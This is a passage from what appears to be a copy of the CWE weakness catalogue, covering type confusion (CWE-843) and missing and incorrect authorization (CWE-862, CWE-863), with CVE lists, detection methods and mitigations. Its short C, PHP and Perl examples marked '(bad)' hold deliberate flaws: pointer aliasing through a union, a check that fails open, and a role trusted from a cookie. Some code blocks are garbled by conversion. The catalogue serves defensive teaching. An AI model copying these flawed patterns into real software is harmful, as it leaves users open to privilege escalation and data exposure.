<b>CVE-1999-1193</b>	Operating system assigns user to privileged wheel group, allowing the user to gain root privileges. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1193">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1193</a>
<b>CVE-2010-3716</b>	Chain: drafted web request allows the creation of users with arbitrary group membership. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3716">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3716</a>
<b>CVE-2008-5397</b>	Chain: improper processing of configuration options causes users to contain unintended group memberships. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5397">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5397</a>
<b>CVE-2007-6644</b>	CMS does not prevent remote administrators from promoting other users to the administrator group, in violation of the intended security model. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6644">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6644</a>
<b>CVE-2007-3260</b>	Product assigns members to the root group, allowing escalation of privileges. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3260">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3260</a>
<b>CVE-2002-0080</b>	Chain: daemon does not properly clear groups before dropping privileges. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0080">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0080</a>

## CWE-843: Access of Resource Using Incompatible Type ('Type Confusion')

<b>Weakness ID</b> : 843	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

## Description

The program allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.

## Extended Description

When the program accesses the resource using an incompatible type, this could trigger logical errors because the resource does not have expected properties. In languages without memory safety, such as C and C++, type confusion can lead to out-of-bounds memory access.

While this weakness is frequently associated with unions when parsing data with many different embedded object types in C, it can be present in any application that can interpret the same variable or memory location in multiple ways.

This weakness is not unique to C and C++. For example, errors in PHP applications can be triggered by providing array parameters when scalars are expected, or vice versa. Languages such as Perl, which perform automatic conversion of a variable of one type when it is accessed as if it were another type, can also contain these issues.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	☺	704	Incorrect Type Conversion or Cast	1354
CanPrecede	☺	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271

ChildOf	☺	704	Incorrect Type Conversion or Cast	1354

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	☹	136	Type Errors	1779

## Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

## Alternate Terms

**Object Type Confusion** :

## Demonstrative Examples

### Example 1:

The following code uses a union to support the representation of different types of messages. It formats messages differently, depending on their type.

*Example Language: C*

*(bad)*

```
#define NAME_TYPE 1
#define ID_TYPE 2
struct MessageBuffer
{
    int msgType;
    union {
        char *name;
        int nameID;
    };
};
```

```

};
int main (int argc, char **argv) {
    struct MessageBuffer buf;
    char *defaultMessage = "Hello World";
    buf.msgType = NAME_TYPE;
    buf.name = defaultMessage;
    printf("Pointer of buf.name is %p\n", buf.name);
    /* This particular value for nameID is used to make the code architecture-independent. If coming from untrusted input, it
    could be any value. */
    buf.nameID = (int)(defaultMessage + 1);
    printf("Pointer of buf.name is now %p\n", buf.name);
    if (buf.msgType == NAME_TYPE) {
        printf("Message: %s\n", buf.name);
    }
    else {
        printf("Message: Use ID %d\n", buf.nameID);
    }
}
}

```

The code intends to process the message as a NAME\_TYPE, and sets the default message to "Hello World." However, since both buf.name and buf.nameID are part of the same union, they can act as aliases for the same memory location, depending on memory layout after compilation.

As a result, modification of buf.nameID - an int - can effectively modify the pointer that is stored in buf.name - a string.

Execution of the program might generate output such as:

```

Pointer of name is 10830
Pointer of name is now 10831
Message: ello World

```

Notice how the pointer for buf.name was changed, even though buf.name was not explicitly modified.

In this case, the first "H" character of the message is omitted. However, if an attacker is able to fully control the value of buf.nameID, then buf.name could contain an arbitrary pointer, leading to out-of-bounds reads or writes.

### Example 2:

The following PHP code accepts a value, adds 5, and prints the sum.

*Example Language: PHP*

*(bad)*

```

$value = $_GET['value'];
$sum = $value + 5;
echo "value parameter is '$value'<p>";
echo "SUM is $sum";

```

When called with the following query string:

```
value=123
```

the program calculates the sum and prints out:

```
SUM is 128
```

However, the attacker could supply a query string such as:

```
value[]=123
```

The "[]" array syntax causes \$value to be treated as an array type, which then generates a fatal error when calculating \$sum:

Fatal error: Unsupported operand types in program.php on line 2

### Example 3:

The following Perl code is intended to look up the privileges for user ID's between 0 and 3, by performing an access of the \$UserPrivilegeArray reference. It is expected that only userID 3 is an admin (since this is listed in the third element of the array).

Example Language: Perl

(bad)

```
my $UserPrivilegeArray = ["user", "user", "admin", "user"];
my $userID = get_current_user_ID();
if ($UserPrivilegeArray eq "user") {
    print "Regular user!\n";
}
else {
    print "Admin!\n";
}
print "\$UserPrivilegeArray = $UserPrivilegeArray\n";
```

In this case, the programmer intended to use "\$UserPrivilegeArray->{\$userID}" to access the proper position in the array. But because the subscript was omitted, the "user" string was compared to the scalar representation of the \$UserPrivilegeArray reference, which might be of the form "ARRAY(0x229e8)" or similar.

Since the logic also "fails open" (CWE-636), the result of this bug is that all users are assigned administrator privileges.

While this is a forced example, it demonstrates how type confusion can have security consequences, even in memory-safe languages.

### Observed Examples

Reference	Description
<b>CVE-2010-4577</b>	Type confusion in CSS sequence leads to out-of-bounds read. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4577">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4577</a>
<b>CVE-2011-0611</b>	Size inconsistency allows code execution, first discovered when it was actively exploited in-the-wild. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0611">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0611</a>
<b>CVE-2010-0258</b>	Improperly-parsed file containing records of different types leads to code execution when a memory location is interpreted as a different object than intended. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0258">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0258</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)		1154 1923

### Notes

#### Applicable Platform

This weakness is possible in any type-unsafe programming language.

#### Research Gap

Type confusion weaknesses have received some attention by applied researchers and major software vendors for C and C++ code. Some publicly-reported vulnerabilities probably have type confusion as a root-cause weakness, but these may be described as "memory corruption" instead. This weakness seems likely to gain prominence in upcoming years. For other languages, there are very few public reports of type confusion weaknesses. These are probably

under-studied. Since many programs rely directly or indirectly on loose typing, a potential "type confusion" behavior might be intentional, possibly requiring more manual analysis.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	EXP39-C	Exact	Do not access a variable through a pointer of an incompatible type

## CWE-862: Missing Authorization

<b>Weakness ID</b> : 862	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Class	

### Description

The software does not perform an authorization check when an actor attempts to access a resource or perform an action.

### Extended Description

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

When access control checks are not applied, users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Technology** : Web Server (*Prevalence = Often*)

**Technology** : Database Server (*Prevalence = Often*)

## Background Details

An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specified permissions to that object.

## Alternate Terms

**AuthZ** : "AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is also distinct from "AuthC," which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Files or Directories  <i>An attacker could read sensitive data, either by reading the data directly from a data store that is not restricted, or by accessing insufficiently-protected, privileged functionality to read the data.</i>	
Integrity	Modify Application Data Modify Files or Directories  <i>An attacker could modify sensitive data, either by writing the data directly to a data store that is not restricted, or by accessing insufficiently-protected, privileged functionality to write the data.</i>	
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism  <i>An attacker could gain privileges by modifying or reading critical data directly, or by accessing privileged functionality.</i>	

## Detection Methods

### Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries. Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.

*Effectiveness = Limited*

### **Automated Dynamic Analysis**

Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic.

### **Manual Analysis**

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

*Effectiveness = Moderate*

*These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.*

### **Manual Static Analysis - Binary or Bytecode**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

### **Dynamic Analysis with Automated Results Interpretation**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = SOAR Partial*

### **Dynamic Analysis with Manual Results Interpretation**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Host Application Interface Scanner Fuzz Tester Framework-based Fuzzer

*Effectiveness = SOAR Partial*

### **Manual Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

*Effectiveness = SOAR Partial*

### **Automated Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = SOAR Partial*

### **Architecture or Design Review**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction

*Effectiveness = High*

## **Potential Mitigations**

### **Phase: Architecture and Design**

Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

### Phase: Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].

### Phase: Architecture and Design

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.

### Phase: System Configuration

#### Phase: Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

## Demonstrative Examples

### Example 1:

This function runs an arbitrary SQL query on a given database, returning the result of the query.

*Example Language: PHP*

*(bad)*

```
function runEmployeeQuery($dbName, $name){
    mysql_select_db($dbName,$globalDbHandle) or die("Could not open Database".$dbName);
    //Use a prepared statement to avoid CWE-89
    $preparedStatement = $globalDbHandle->prepare('SELECT * FROM employees WHERE name = :name');
    $preparedStatement->execute(array(':name' => $name));
    return $preparedStatement->fetchAll();
}
//.../
$employeeRecord = runEmployeeQuery('EmployeeDB',$_GET['EmployeeName']);
```

While this code is careful to avoid SQL Injection, the function does not confirm the user sending the query is authorized to do so. An attacker may be able to obtain sensitive employee information from the database.

### Example 2:

The following program could be part of a bulletin board system that allows users to send private messages to each other. This program intends to authenticate the user before deciding whether a private message should be displayed. Assume that `LookupMessageObject()` ensures that the

\$id argument is numeric, constructs a filename based on that id, and reads the message details from that file. Also assume that the program stores all private messages for all users in the same directory.

Example Language: Perl

(bad)

```
sub DisplayPrivateMessage {
    my($id) = @_;
    my $Message = LookupMessageObject($id);
    print "From: " . encodeHTML($Message->{from}) . "<br>\n";
    print "Subject: " . encodeHTML($Message->{subject}) . "\n";
    print "<hr>\n";
    print "Body: " . encodeHTML($Message->{body}) . "\n";
}
my $q = new CGI;
# For purposes of this example, assume that CWE-309 and
# CWE-523 do not apply.
if (!AuthenticateUser($q->param('username'), $q->param('password'))) {
    ExitError("invalid username or password");
}
my $id = $q->param('id');
DisplayPrivateMessage($id);
```

While the program properly exits if authentication fails, it does not ensure that the message is addressed to the user. As a result, an authenticated attacker could provide any arbitrary identifier and read private messages that were intended for other users.

One way to avoid this problem would be to ensure that the "to" field in the message object matches the username of the authenticated user.

### Observed Examples

Reference	Description
<b>CVE-2009-3168</b>	Web application does not restrict access to admin scripts, allowing authenticated users to reset administrative passwords. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3168">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3168</a>
<b>CVE-2009-3597</b>	Web application stores database file under the web root with insufficient access control (CWE-219), allowing direct request. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3597">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3597</a>
<b>CVE-2009-2282</b>	Terminal server does not check authorization for guest access. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2282">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2282</a>
<b>CVE-2008-5027</b>	System monitoring software allows users to bypass authorization by creating custom forms. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5027">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5027</a>
<b>CVE-2009-3781</b>	Content management system does not check access permissions for private files, allowing others to view those files. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3781">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3781</a>
<b>CVE-2008-6548</b>	Product does not check the ACL of a page accessed using an "include" directive, allowing attackers to read unauthorized files. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6548">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6548</a>
<b>CVE-2009-2960</b>	Web application does not restrict access to admin scripts, allowing authenticated users to modify passwords of other users. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2960">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2960</a>
<b>CVE-2009-3230</b>	Database server does not use appropriate privileges for certain sensitive operations. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3230">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3230</a>
<b>CVE-2009-2213</b>	Gateway uses default "Allow" configuration for its authorization settings. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2213">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2213</a>
<b>CVE-2009-0034</b>	Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges.

Reference	Description
	<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0034">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0034</a>
<b>CVE-2008-6123</b>	Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6123">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6123</a>
<b>CVE-2008-7109</b>	Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-7109">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-7109</a>
<b>CVE-2008-3424</b>	Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3424">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3424</a>
<b>CVE-2008-4577</b>	ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4577">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4577</a>
<b>CVE-2007-2925</b>	Default ACL list for a DNS server does not set certain ACLs, allowing unauthorized DNS queries. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2925">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2925</a>
<b>CVE-2006-6679</b>	Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6679">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6679</a>
<b>CVE-2005-3623</b>	OS kernel does not check for a certain privilege before setting ACLs for files. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3623">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3623</a>
<b>CVE-2005-2801</b>	Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2801">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2801</a>
<b>CVE-2001-1155</b>	Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1155">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1155</a>

## CWE-863: Incorrect Authorization

<b>Weakness ID</b> : 863	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Class	

### Description

The software performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. This allows attackers to bypass intended access restrictions.

### Extended Description

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

When access control checks are incorrectly applied, users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		285	Improper Authorization	621
ParentOf		551	Incorrect Behavior Order: Authorization Before Parsing and Canonicalization	1122
ParentOf		639	Authorization Bypass Through User-Controlled Key	1248
ParentOf		647	Use of Non-Canonical URL Paths for Authorization Decisions	1266
ParentOf		804	Guessable CAPTCHA	1492

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Technology** : Web Server (*Prevalence = Often*)

**Technology** : Database Server (*Prevalence = Often*)

### Background Details

An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specified permissions to that object.

### Alternate Terms

**AuthZ** : "AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is also distinct from "AuthC," which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Files or Directories  <i>An attacker could read sensitive data, either by reading the data directly from a data store that is not correctly restricted, or by accessing insufficiently-protected, privileged functionality to read the data.</i>	
Integrity	Modify Application Data Modify Files or Directories  <i>An attacker could modify sensitive data, either by writing the data directly to a data store that is not correctly restricted, or by accessing insufficiently-protected, privileged functionality to write the data.</i>	
Access Control	Gain Privileges or Assume Identity Bypass Protection Mechanism  <i>An attacker could gain privileges by modifying or reading critical data directly, or by accessing privileged functionality.</i>	

### Detection Methods

#### Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries. Generally, automated static analysis tools have difficulty detecting custom authorization schemes. Even if they can be customized to recognize these schemes, they might not be able to tell whether the scheme correctly performs the authorization in a way that cannot be bypassed or subverted by an attacker.

*Effectiveness = Limited*

### **Automated Dynamic Analysis**

Automated dynamic analysis may not be able to find interfaces that are protected by authorization checks, even if those checks contain weaknesses.

### **Manual Analysis**

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

*Effectiveness = Moderate*

*These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.*

### **Manual Static Analysis - Binary or Bytecode**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

### **Dynamic Analysis with Automated Results Interpretation**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = SOAR Partial*

### **Dynamic Analysis with Manual Results Interpretation**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Host Application Interface Scanner Fuzz Tester Framework-based Fuzzer Forced Path Execution Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

*Effectiveness = SOAR Partial*

### **Manual Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

*Effectiveness = SOAR Partial*

### **Automated Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Context-configured Source Code Weakness Analyzer

*Effectiveness = SOAR Partial*

### **Architecture or Design Review**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

## **Potential Mitigations**

### **Phase: Architecture and Design**

Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

### Phase: Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].

### Phase: Architecture and Design

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.

### Phase: System Configuration

#### Phase: Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

## Demonstrative Examples

### Example 1:

The following code could be for a medical records application. It displays a record to already authenticated users, confirming the user's authorization using a value stored in a cookie.

*Example Language: PHP*

*(bad)*

```
$role = $_COOKIES['role'];
if (!$role) {
    $role = getRole('user');
    if ($role) {
        // save the cookie to send out in future responses
        setcookie("role", $role, time()+60*60*2);
    }
    else{
        ShowLoginScreen();
        die("\n");
    }
}
if ($role == 'Reader') {
    DisplayMedicalHistory($_POST['patient_ID']);
}
else{
    die("You are not Authorized to view this record\n");
}
```

The programmer expects that the cookie will only be set when `getRole()` succeeds. The programmer even diligently specifies a 2-hour expiration for the cookie. However, the attacker can easily set the "role" cookie to the value "Reader". As a result, the `$role` variable is "Reader", and `getRole()` is never invoked. The attacker has bypassed the authorization system.

### Observed Examples

Reference	Description
<b>CVE-2009-2213</b>	Gateway uses default "Allow" configuration for its authorization settings. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2213">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2213</a>
<b>CVE-2009-0034</b>	Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0034">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0034</a>
<b>CVE-2008-6123</b>	Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6123">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6123</a>
<b>CVE-2008-7109</b>	Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-7109">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-7109</a>
<b>CVE-2008-3424</b>	Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3424">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3424</a>
<b>CVE-2008-4577</b>	ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4577">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4577</a>
<b>CVE-2006-6679</b>	Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6679">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6679</a>
<b>CVE-2005-2801</b>	Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2801">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2801</a>
<b>CVE-2001-1155</b>	Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1155">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1155</a>

## CWE-908: Use of Uninitialized Resource

**Weakness ID** : 908

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Base

### Description

The software uses or accesses a resource that has not been initialized.

### Extended Description

When a resource has not been properly initialized, the software may behave unexpectedly. This may lead to a crash or invalid memory access, but the consequences vary depending on the type of resource and how it is used within the software.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		665	Improper Initialization	1290
